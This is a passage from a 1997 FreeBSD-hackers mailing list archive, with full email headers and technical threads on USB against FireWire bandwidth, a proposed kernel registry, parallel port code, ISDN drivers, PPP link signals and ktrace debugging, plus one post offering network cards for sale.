so I've basically ignored code-level reviews of such things. My personal preference is an LDAP database accessable from user or kernel space, or remotely via an LDAPd. I have not seriously pursued this because of the (apparent) NDBM requirements. If there is an architectural overview, I'd be willing to comment, and if I can dig up the time, even look at the code to see if it matches the overview. Honestly, your announcement is still in my mailbox; it is the first undeleted message following the message to which this is a reply. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Tue Aug 5 09:28:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA21420 for hackers-outgoing; Tue, 5 Aug 1997 09:28:09 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id JAA21413 for ; Tue, 5 Aug 1997 09:28:04 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id JAA06316; Tue, 5 Aug 1997 09:26:14 -0700 From: Terry Lambert Message-Id: <199708051626.JAA06316@phaeton.artisoft.com> Subject: Re: Parallel port bus code? To: msmith@atrad.adelaide.edu.au (Michael Smith) Date: Tue, 5 Aug 1997 09:26:13 -0700 (MST) Cc: hackers@FreeBSD.ORG In-Reply-To: <199708050849.SAA27635@genesis.atrad.adelaide.edu.au> from "Michael Smith" at Aug 5, 97 06:19:06 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Looks like it's my week to be ignored. I've had exactly one response > to my announcement last week of the new parallel port 'bus' code. > > Should I take this as an implicit go-ahead and splat it in? If you think it works, I'd say "go for it". Have you worked out any PLIP/ZIP-driver/LAPlink issues already? Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Tue Aug 5 09:43:24 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA22227 for hackers-outgoing; Tue, 5 Aug 1997 09:43:24 -0700 (PDT) Received: from super-g.inch.com (super-g.com [207.240.140.161]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA22218 for ; Tue, 5 Aug 1997 09:43:21 -0700 (PDT) Received: from localhost (spork@localhost) by super-g.inch.com (8.8.5/8.8.5) with SMTP id QAA00935; Tue, 5 Aug 1997 16:43:03 -0400 (EDT) Date: Tue, 5 Aug 1997 16:43:02 -0400 (EDT) From: spork X-Sender: spork@super-g.inch.com To: Dan Busarow cc: hackers@FreeBSD.ORG Subject: Re: Netscape & floating point core dumps? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I let the port do the work on this one; today when I logged in and started X Netscape was very happy... It actually seems *better*??!! than 3.0... Java is faster, table draws are faster, and it seems to chomp less CPU time. I'm happy so far. Charles On Mon, 4 Aug 1997, Dan Busarow wrote: > On Mon, 4 Aug 1997, spork wrote: > > Have you tried backspacing in the URL field yet? It's a cruel joke. Alot > > of keymappings are just wrong. To scroll up and down a page with arrow > > Methinks you forgot to install XKeysymDB, which with this version > may consist of setting MOZILLA_HOME. Not sure about that since > I do have XKEYSYMDB exported too. > > All the key-mappings, including ALT-left arrow/ALT-right arrow, > work just fine. > > Dan > -- > Dan Busarow 714 443 4172 > DPC Systems / Beach.Net dan@dpcsys.com > Dana Point, California 83 09 EF 59 E0 11 89 B4 8D 09 DB FD E1 DD 0C 82 > From owner-freebsd-hackers Tue Aug 5 11:58:40 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA28739 for hackers-outgoing; Tue, 5 Aug 1997 11:58:40 -0700 (PDT) Received: from iafnl.es.iaf.nl (uucp@iafnl.es.iaf.nl [195.108.17.20]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id LAA28734 for ; Tue, 5 Aug 1997 11:58:38 -0700 (PDT) Received: by iafnl.es.iaf.nl with UUCP id AA31769 (5.67b/IDA-1.5 for hackers@FreeBSD.ORG); Tue, 5 Aug 1997 20:58:45 +0200 Received: (from wilko@localhost) by yedi.iaf.nl (8.8.5/8.6.12) id UAA01244; Tue, 5 Aug 1997 20:24:14 +0200 (MET DST) From: Wilko Bulte Message-Id: <199708051824.UAA01244@yedi.iaf.nl> Subject: Re: Registry reviewers? To: hans@brandinnovators.com (Hans Zuidam) Date: Tue, 5 Aug 1997 20:24:14 +0200 (MET DST) Cc: msmith@atrad.adelaide.edu.au, hackers@FreeBSD.ORG In-Reply-To: <199708051050.MAA26530@truk.brandinnovators.com> from "Hans Zuidam" at Aug 5, 97 12:50:57 pm X-Organisation: Private FreeBSD site - Arnhem, The Netherlands X-Pgp-Info: PGP public key at 'finger wilko@freefall.freebsd.org' X-Mailer: ELM [version 2.4 PL24 ME8a] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Hans Zuidam wrote... > > Michael Smith wrote: > > If I were to just slip it in parallel with the sysctl code, would anyone > > notice? 8) > Forgive my ignorance, but what does the registery code actually do that > cannot be done with sysctl? Well, it can get corrupted (like M$ stuff) ;-) ;-) Wilko _ ____________________________________________________________________ | / o / / _ Bulte email: wilko@yedi.iaf.nl - Arnhem, The Netherlands |/|/ / / /( (_) Do, or do not. There is no 'try' - Yoda -------------------------------------------------------------------------- From owner-freebsd-hackers Tue Aug 5 12:38:16 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA00666 for hackers-outgoing; Tue, 5 Aug 1997 12:38:16 -0700 (PDT) Received: from sos.freebsd.dk (sos.freebsd.dk [195.8.129.33]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA00650 for ; Tue, 5 Aug 1997 12:38:06 -0700 (PDT) Received: (from sos@localhost) by sos.freebsd.dk (8.8.6/8.7.3) id VAA00335 for hackers@freebsd.org; Tue, 5 Aug 1997 21:38:22 +0200 (MEST) From: Søren Schmidt Message-Id: <199708051938.VAA00335@sos.freebsd.dk> Subject: Anybody know a Gandalf 5242i ?? To: hackers@freebsd.org (FreeBSD hackers) Date: Tue, 5 Aug 1997 21:38:22 +0200 (MEST) X-Mailer: ELM [version 2.4ME+ PL30 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I have a hell of a time configuring one :( -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Søren Schmidt (sos@FreeBSD.org) FreeBSD Core Team Even more code to hack -- will it ever end .. From owner-freebsd-hackers Tue Aug 5 13:48:31 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA04159 for hackers-outgoing; Tue, 5 Aug 1997 13:48:31 -0700 (PDT) Received: from onyx.atipa.com (user8569@ns.atipa.com [208.128.22.10]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id NAA04153 for ; Tue, 5 Aug 1997 13:48:27 -0700 (PDT) Received: (qmail-queue invoked by uid 1018); 5 Aug 1997 20:50:46 -0000 Date: Tue, 5 Aug 1997 14:50:46 -0600 (MDT) From: Atipa X-Sender: freebsd@dot.ishiboo.com To: hackers@freebsd.org cc: freebsd-current@freebsd.org Subject: Status of USB, TX chipset, PIIX3, etc. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Any news on the following high-demand technologies? Universal Serial Bus (USB) http://www.usb.org (503)264-0590 Modular, _Powered_ I/O w/ neato hubs 12Mbit/sec, up to 127 devices Intel 430TX Chipset / PIIX3 Controller http://www.developer.intel.com/deisgn/pcisets/prodbref/430tx/index.htm Concurrent PCI (2.1) built-in UltraDMA IDE (33MByte/sec) built-in USB support for SDRAM Accelerated Graphics Port (AGP) www.agpforum.org Souped up PCI slot for high performance VGA / HDTV DVD CD-ROMs and hardware decoders Any news would be greatly appreciated. Thanks, Kevin From owner-freebsd-hackers Tue Aug 5 14:20:03 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA05580 for hackers-outgoing; Tue, 5 Aug 1997 14:20:03 -0700 (PDT) Received: from verdi.nethelp.no (verdi.nethelp.no [195.1.171.130]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id OAA05514 for ; Tue, 5 Aug 1997 14:19:58 -0700 (PDT) From: sthaug@nethelp.no Received: (qmail 13540 invoked by uid 1001); 5 Aug 1997 21:19:53 +0000 (GMT) To: freebsd@atipa.com Cc: hackers@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Subject: Re: Status of USB, TX chipset, PIIX3, etc. In-Reply-To: Your message of "Tue, 5 Aug 1997 14:50:46 -0600 (MDT)" References: X-Mailer: Mew version 1.05+ on Emacs 19.28.2 Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Date: Tue, 05 Aug 1997 23:19:53 +0200 Message-ID: <13538.870815993@verdi.nethelp.no> Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Any news on the following high-demand technologies? > > Universal Serial Bus (USB) > http://www.usb.org (503)264-0590 > Modular, _Powered_ I/O w/ neato hubs > 12Mbit/sec, up to 127 devices Just where did you see this high demand for USB? I sure haven't noticed it. Steinar Haug, Nethelp consulting, sthaug@nethelp.no From owner-freebsd-hackers Tue Aug 5 14:39:29 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA06440 for hackers-outgoing; Tue, 5 Aug 1997 14:39:29 -0700 (PDT) Received: from onyx.atipa.com (user9479@ns.atipa.com [208.128.22.10]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id OAA06433 for ; Tue, 5 Aug 1997 14:39:25 -0700 (PDT) Received: (qmail-queue invoked by uid 1018); 5 Aug 1997 21:41:45 -0000 Date: Tue, 5 Aug 1997 15:41:45 -0600 (MDT) From: Atipa X-Sender: freebsd@dot.ishiboo.com To: sthaug@nethelp.no cc: hackers@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Subject: Re: Status of USB, TX chipset, PIIX3, etc. In-Reply-To: <13538.870815993@verdi.nethelp.no> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 5 Aug 1997 sthaug@nethelp.no wrote: > > Any news on the following high-demand technologies? > > > > Universal Serial Bus (USB) > > http://www.usb.org (503)264-0590 > > Modular, _Powered_ I/O w/ neato hubs > > 12Mbit/sec, up to 127 devices > > Just where did you see this high demand for USB? I sure haven't noticed > it. It has very good potential. You can put several different types of devices on it, including but not limited to: keyboards, mice, modems, cameras, network cards, cd-roms, DATs, ZIP/Jaz/SyQuest, scanners, printers, etc. It auto-detects the presence of devices with no need to reboot. Providing power allows for MUCH nicer cabling. With the powers that be* supporting USB, it would be foolish to show up late to the party. Even without broad peripheral support, consumer demand is high. It is our business to fill demands for hardware, and I can tell you lots of people are very interested. Kevin * From the FAQ: Who created USB anyway? USB was developed by a group of seven companies that saw a need for an interconnect to enable the growth of the blossoming Computer Telephony Integration Industry. The seven promoters of the USB definition are; Compaq, Digital Equipment Corp, IBM PC Co., Intel, Microsoft, NEC and Northern Telecom. From owner-freebsd-hackers Tue Aug 5 15:33:53 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA09431 for hackers-outgoing; Tue, 5 Aug 1997 15:33:53 -0700 (PDT) Received: from shrimp.dataplex.net (shrimp.dataplex.net [208.2.87.3]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id PAA09425 for ; Tue, 5 Aug 1997 15:33:48 -0700 (PDT) Received: from [208.2.87.4] (user4.dataplex.net [208.2.87.4]) by shrimp.dataplex.net (8.8.5/8.8.5) with ESMTP id RAA08681; Tue, 5 Aug 1997 17:33:38 -0500 (CDT) X-Sender: rkw@mail.dataplex.net Message-Id: In-Reply-To: References: <13538.870815993@verdi.nethelp.no> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Tue, 5 Aug 1997 17:29:19 -0500 To: Atipa From: Richard Wackerbarth Subject: Re: Status of USB, TX chipset, PIIX3, etc. Cc: sthaug@nethelp.no, hackers@FreeBSD.ORG Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk At 4:41 PM -0500 8/5/97, Atipa wrote: >On Tue, 5 Aug 1997 sthaug@nethelp.no wrote: > >> > Any news on the following high-demand technologies? >> > >> > Universal Serial Bus (USB) >> > http://www.usb.org (503)264-0590 >> > Modular, _Powered_ I/O w/ neato hubs >> > 12Mbit/sec, up to 127 devices >> >> Just where did you see this high demand for USB? I sure haven't noticed >> it. > >It has very good potential. At 120k bytes per frame and 30 frames/sec, I don't think USB is fast enough for the Digital Video Camera sitting here on my desk. It runs on IEEE 1394 (Firewire) which is already shipping 200Mbit/sec and soon to go to 400 and 800Mbit/sec. Like USB, it has simple cabling, power, etc. The networking seems extremely swift (I haven't really benchmarked it) But only 63 devices per segment :-( Move over PCI buss. You're slowing us down. From owner-freebsd-hackers Tue Aug 5 15:40:38 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA09903 for hackers-outgoing; Tue, 5 Aug 1997 15:40:38 -0700 (PDT) Received: from grendel.IAEhv.nl (grendel.IAEhv.nl [194.151.72.15]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id PAA09898 for ; Tue, 5 Aug 1997 15:40:34 -0700 (PDT) Received: (from peter@localhost) by grendel.IAEhv.nl (8.8.5/8.8.5) id PAA00592; Tue, 5 Aug 1997 15:14:01 +0200 (CEST) Message-ID: <19970805151400.03327@grendel.IAEhv.nl> Date: Tue, 5 Aug 1997 15:14:01 +0200 From: Peter Korsten To: Tony Overfield Cc: hackers@FreeBSD.ORG Subject: Re: Pentium II? References: <3.0.2.32.19970803041901.006a69e4@bugs.us.dell.com> <3.0.2.32.19970804125532.0070d730@bugs.us.dell.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.67e In-Reply-To: <3.0.2.32.19970804125532.0070d730@bugs.us.dell.com>; from Tony Overfield on Mon, Aug 04, 1997 at 12:55:32PM -0500 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Tony Overfield shared with us: > At 01:34 PM 8/3/97 -0700, Terry Lambert wrote: > > >> Don't forget than Pentium memory is 64 bits wide and 486/50 memory > >> is 32 bits wide. Thus, your fancy 486/50 memory bus cannot help to > >> explain your faster I/O claims, so maybe you've got a "magic I/O bus." > > > >Actually, PCI busses are only 32 bits wide, so the 64 bit processor > >memory path is totally irrelevent for bus master DMA speed. The > >width limitation is at the bus-to-memory interface, not at the > >processor. > > No. PCI memory writes are often posted, combined and written into > DRAM 64 bits at a time. Maybe I'm naive here, but isn't it kinda impossible to write 64 bits at one time over a 32 bits bus? 64 bits PCI isn't that wide- spread yet and while you may be able to write 64 bits at a time, they'll have to move in two chunks of 32 bits. - Peter From owner-freebsd-hackers Tue Aug 5 15:48:28 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA10192 for hackers-outgoing; Tue, 5 Aug 1997 15:48:28 -0700 (PDT) Received: from etinc.com (et-gw-fr1.etinc.com [204.141.244.98]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id PAA10165; Tue, 5 Aug 1997 15:48:16 -0700 (PDT) Received: from ntws (ntws.etinc.com [204.141.95.142]) by etinc.com (8.8.3/8.6.9) with SMTP id SAA22348; Tue, 5 Aug 1997 18:57:55 -0400 (EDT) Message-Id: <3.0.32.19970805184714.00e4be50@etinc.com> X-Sender: dennis@etinc.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Tue, 05 Aug 1997 18:47:21 -0400 To: et-users@etinc.com From: dennis Subject: VLB NE2000 cards - Cheap Cc: isp@freebsd.org, hackers@freebsd.org, questions@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Im dumping these so cheaply that I consider this a public service, so please dont flame me! We're only selling PCI now, so Im looking to unload some NE2000 compatible VLB cards (about 20% faster than regular NE2000 cards) that work nicely with FreeBSD (they DONT work in Linux...I dont know nor care why). $10., 5 minimum...I have 15 left. Oh..brand new of course, but the factory warranty is up as I've had them awhile. Dennis From owner-freebsd-hackers Tue Aug 5 15:51:00 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA10453 for hackers-outgoing; Tue, 5 Aug 1997 15:51:00 -0700 (PDT) Received: from shell.uniserve.com (tom@shell.uniserve.com [204.244.210.252]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id PAA10429; Tue, 5 Aug 1997 15:50:48 -0700 (PDT) Received: from localhost (tom@localhost) by shell.uniserve.com (8.8.5/8.8.5) with SMTP id PAA12025; Tue, 5 Aug 1997 15:47:38 -0700 (PDT) X-Authentication-Warning: shell.uniserve.com: tom owned process doing -bs Date: Tue, 5 Aug 1997 15:47:38 -0700 (PDT) From: Tom To: Atipa cc: sthaug@nethelp.no, hackers@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Subject: Re: Status of USB, TX chipset, PIIX3, etc. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 5 Aug 1997, Atipa wrote: > It has very good potential. You can put several different types of > devices on it, including but not limited to: keyboards, mice, modems, keyboards, mice, and modems are pretty simple. > cameras, network cards, cd-roms, DATs, ZIP/Jaz/SyQuest, scanners, > printers, etc. Ugh... network cards can pull 10mbs easily, cdroms can do 8mbs and higher, Jaz drives can do 16mbs easily, and you are going to put all of this stuff on a shared 12mbs bus? Ugh... tom From owner-freebsd-hackers Tue Aug 5 15:55:56 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA10718 for hackers-outgoing; Tue, 5 Aug 1997 15:55:56 -0700 (PDT) Received: from helbig.informatik.ba-stuttgart.de (rvc1.informatik.ba-stuttgart.de [141.31.112.22]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id PAA10713 for ; Tue, 5 Aug 1997 15:55:53 -0700 (PDT) Received: (from helbig@localhost) by helbig.informatik.ba-stuttgart.de (8.8.6/8.8.5) id AAA05913; Wed, 6 Aug 1997 00:55:42 +0200 (MET DST) From: Wolfgang Helbig Message-Id: <199708052255.AAA05913@helbig.informatik.ba-stuttgart.de> Subject: Re: ISDN drivers/cards In-Reply-To: from Stephen Roome at "Aug 5, 97 03:00:59 pm" To: steve@visint.co.uk (Stephen Roome) Date: Wed, 6 Aug 1997 00:55:41 +0200 (MET DST) Cc: perhaps@yes.no, freebsd-hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL30 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > I know this discussion is old now, but I didn't get to my mailbox > in time, and I've had too much grief trying to get bisdn working reliably > to let it pass... > > I tried using bisdn, both with -current and 2.2.2, without much luck, I'm Well, I had more luck. For nearly a year now I'm using a bisdn connection to the rest of the world (both sides bisdn one FreeBSD-the other NetBSD, in the meantime both FreeBSD) I had no trouble whatsoever with the raw-IP and the answer machine from bisdn-097. I had some trouble with ppp over bisdn--but they are solved by now to and I am using two ppp-connections to ascend routers--both with dynamic assigned addresses. I did have two or three crashes--even kernel panics. They were caused by misconfiguration and by routed not being able to cope with newly assigned IP addresses. Another cause of grief was using bisdn-interfaces w/o an entry in the bisdn.cfg file. This led to SIGSEG for bisdnd. But w/o running routed and with some care while editing bisdnd.cfg it works like a charm. You're right, the installation of bisdnd including the kernel patches is not the most elegant thing under the sun--and this is getting worse with every committ to the kernel sources, that change the interface. Wolfgang From owner-freebsd-hackers Tue Aug 5 16:07:34 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA11231 for hackers-outgoing; Tue, 5 Aug 1997 16:07:34 -0700 (PDT) Received: from awfulhak.demon.co.uk (awfulhak.demon.co.uk [158.152.17.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id QAA11209 for ; Tue, 5 Aug 1997 16:07:09 -0700 (PDT) Received: from awfulhak.org (dev.lan.awfulhak.org [10.0.1.5]) by awfulhak.demon.co.uk (8.8.5/8.8.5) with ESMTP id AAA04776; Wed, 6 Aug 1997 00:05:33 +0100 (BST) Received: from dev.lan.awfulhak.org (localhost [127.0.0.1]) by awfulhak.org (8.8.6/8.8.6) with ESMTP id AAA29431; Wed, 6 Aug 1997 00:05:32 +0100 (BST) Message-Id: <199708052305.AAA29431@awfulhak.org> X-Mailer: exmh version 2.0zeta 7/24/97 To: "Brian J. McGovern" cc: hackers@FreeBSD.ORG Subject: Re: SIGURG on ppp drop In-reply-to: Your message of "Mon, 04 Aug 1997 16:40:05 EDT." <199708042040.QAA03104@spoon.beta.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 06 Aug 1997 00:05:32 +0100 From: Brian Somers Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Can I assume safely that if I am fetch'ing a file across a PPP link, and > that link goes down (thereby removing the route, and causing a "No > route to host" error message when pinging) that the fetch process will > receive a SIGURG? > > I'm curious, because I'm running some tests that require fetch to die if > the link goes down, and I want to try to catch SIGURG, and then "cleanup > and exit"(tm). Maybe if your ppp deletes the route in ppp.linkdown (or if ppp isn't in -auto or -ddial mode). In -auto & -ddial mode, the route won't get deleted and packets just get queued waiting for the line to come back up. I haven't tried the SIGURG bit myself though.... suck it & see. > -Brian -- Brian , Don't _EVER_ lose your sense of humour.... From owner-freebsd-hackers Tue Aug 5 16:10:23 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA11453 for hackers-outgoing; Tue, 5 Aug 1997 16:10:23 -0700 (PDT) Received: from mail.cdsnet.net (mail.cdsnet.net [204.118.244.5]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id QAA11448 for ; Tue, 5 Aug 1997 16:10:18 -0700 (PDT) Received: from mail.cdsnet.net (mail.cdsnet.net [204.118.244.5]) by mail.cdsnet.net (8.8.6/8.8.6) with SMTP id QAA28989 for ; Tue, 5 Aug 1997 16:10:16 -0700 (PDT) Date: Tue, 5 Aug 1997 16:10:15 -0700 (PDT) From: Jaye Mathisen To: hackers@freebsd.org Subject: Ktrace output of BSD binary: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Short and sweet, but it doesn't tell me anything that I can really use... # kdump 8626 ktrace RET ktrace 0 8626 ktrace CALL execve(0xefbfdd83,0xefbfdd44,0xefbfdd4c) 8626 ktrace NAMI "./asbr" 8626 asbr RET execve 0 8626 asbr PSIG SIGSEGV SIG_DFL 8626 asbr NAMI "asbr.core" Doesn't even look like it really gets fired up. # file asbr asbr: BSD/386 demand paged (first page unmapped) pure ex From owner-freebsd-hackers Tue Aug 5 16:30:08 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA12643 for hackers-outgoing; Tue, 5 Aug 1997 16:30:08 -0700 (PDT) Received: from MindBender.serv.net (root@mindbender.serv.net [205.153.153.98]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id QAA12590; Tue, 5 Aug 1997 16:29:58 -0700 (PDT) Received: from localhost.HeadCandy.com (michaelv@localhost.HeadCandy.com [127.0.0.1]) by MindBender.serv.net (8.7.5/8.7.3) with SMTP id QAA07056; Tue, 5 Aug 1997 16:28:24 -0700 (PDT) Message-Id: <199708052328.QAA07056@MindBender.serv.net> X-Authentication-Warning: MindBender.serv.net: Host michaelv@localhost.HeadCandy.com [127.0.0.1] didn't use HELO protocol To: Tom cc: Atipa , sthaug@nethelp.no, hackers@freebsd.org, freebsd-current@freebsd.org Subject: Re: Status of USB, TX chipset, PIIX3, etc. In-reply-to: Your message of Tue, 05 Aug 97 15:47:38 -0700. Date: Tue, 05 Aug 1997 16:28:23 -0700 From: "Michael L. VanLoon -- HeadCandy.com" Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >> cameras, network cards, cd-roms, DATs, ZIP/Jaz/SyQuest, scanners, >> printers, etc. > Ugh... network cards can pull 10mbs easily, cdroms can do 8mbs and >higher, Jaz drives can do 16mbs easily, and you are going to put all of >this stuff on a shared 12mbs bus? Ugh... It's pretty unlikely you'll be saturating all those devices at the _same_ time. And nobody is going to _force_ you to buy USB peripherals, if you have higher-demand situations. Standard PCI, SCSI, and in the future FireWire, devices will still exist for server situations. ----------------------------------------------------------------------------- Michael L. VanLoon michaelv@MindBender.serv.net --< Free your mind and your machine -- NetBSD free un*x >-- NetBSD working ports: 386+PC, Mac 68k, Amiga, Atari 68k, HP300, Sun3, Sun4/4c/4m, DEC MIPS, DEC Alpha, PC532, VAX, MVME68k, arm32... NetBSD ports in progress: PICA, others... ----------------------------------------------------------------------------- From owner-freebsd-hackers Tue Aug 5 16:50:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA13423 for hackers-outgoing; Tue, 5 Aug 1997 16:50:58 -0700 (PDT) Received: from zippy.dyn.ml.org (garbanzo@nepal-7.ppp.hooked.net [206.80.8.199]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id QAA13403; Tue, 5 Aug 1997 16:50:53 -0700 (PDT) Received: from localhost (garbanzo@localhost) by zippy.dyn.ml.org (8.8.6/8.8.5) with SMTP id XAA00307; Tue, 5 Aug 1997 23:50:40 GMT X-Authentication-Warning: zippy.dyn.ml.org: garbanzo owned process doing -bs Date: Tue, 5 Aug 1997 23:50:37 +0000 (GMT) From: Alex X-Sender: garbanzo@zippy.dyn.ml.org To: Atipa cc: hackers@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Subject: Re: Status of USB, TX chipset, PIIX3, etc. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 5 Aug 1997, Atipa wrote: > > Any news on the following high-demand technologies? > > Universal Serial Bus (USB) > http://www.usb.org (503)264-0590 > Modular, _Powered_ I/O w/ neato hubs > 12Mbit/sec, up to 127 devices Since when is there a high demand for USB? *grin* That aside, FreeBSD 2.2.2R hung when I enabled the USB ports on my motherboard. Be cautious - alex From owner-freebsd-hackers Tue Aug 5 16:58:02 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA13734 for hackers-outgoing; Tue, 5 Aug 1997 16:58:02 -0700 (PDT) Received: from zippy.dyn.ml.org (garbanzo@nepal-7.ppp.hooked.net [206.80.8.199]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id QAA13714; Tue, 5 Aug 1997 16:57:56 -0700 (PDT) Received: from localhost (garbanzo@localhost) by zippy.dyn.ml.org (8.8.6/8.8.5) with SMTP id XAA00901; Tue, 5 Aug 1997 23:57:13 GMT X-Authentication-Warning: zippy.dyn.ml.org: garbanzo owned process doing -bs Date: Tue, 5 Aug 1997 23:57:11 +0000 (GMT) From: Alex X-Sender: garbanzo@zippy.dyn.ml.org To: "Michael L. VanLoon -- HeadCandy.com" cc: Tom , Atipa , sthaug@nethelp.no, hackers@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Subject: Re: Status of USB, TX chipset, PIIX3, etc. In-Reply-To: <199708052328.QAA07056@MindBender.serv.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 5 Aug 1997, Michael L. VanLoon -- HeadCandy.com wrote: > > >> cameras, network cards, cd-roms, DATs, ZIP/Jaz/SyQuest, scanners, > >> printers, etc. > > > Ugh... network cards can pull 10mbs easily, cdroms can do 8mbs and > >higher, Jaz drives can do 16mbs easily, and you are going to put all of > >this stuff on a shared 12mbs bus? Ugh... > > It's pretty unlikely you'll be saturating all those devices at the > _same_ time. And nobody is going to _force_ you to buy USB > peripherals, if you have higher-demand situations. Standard PCI, > SCSI, and in the future FireWire, devices will still exist for server > situations. That and don't most motherboards have two USB busses so you could put the network adaptors on one, and perhaps a cdrom, then the hdds on the other bus and still get decent performance. - alex From owner-freebsd-hackers Tue Aug 5 17:16:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA14496 for hackers-outgoing; Tue, 5 Aug 1997 17:16:48 -0700 (PDT) Received: from thelab.hub.org (root@ppp-128.halifax-01.ican.net [206.231.248.128]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id RAA14490 for ; Tue, 5 Aug 1997 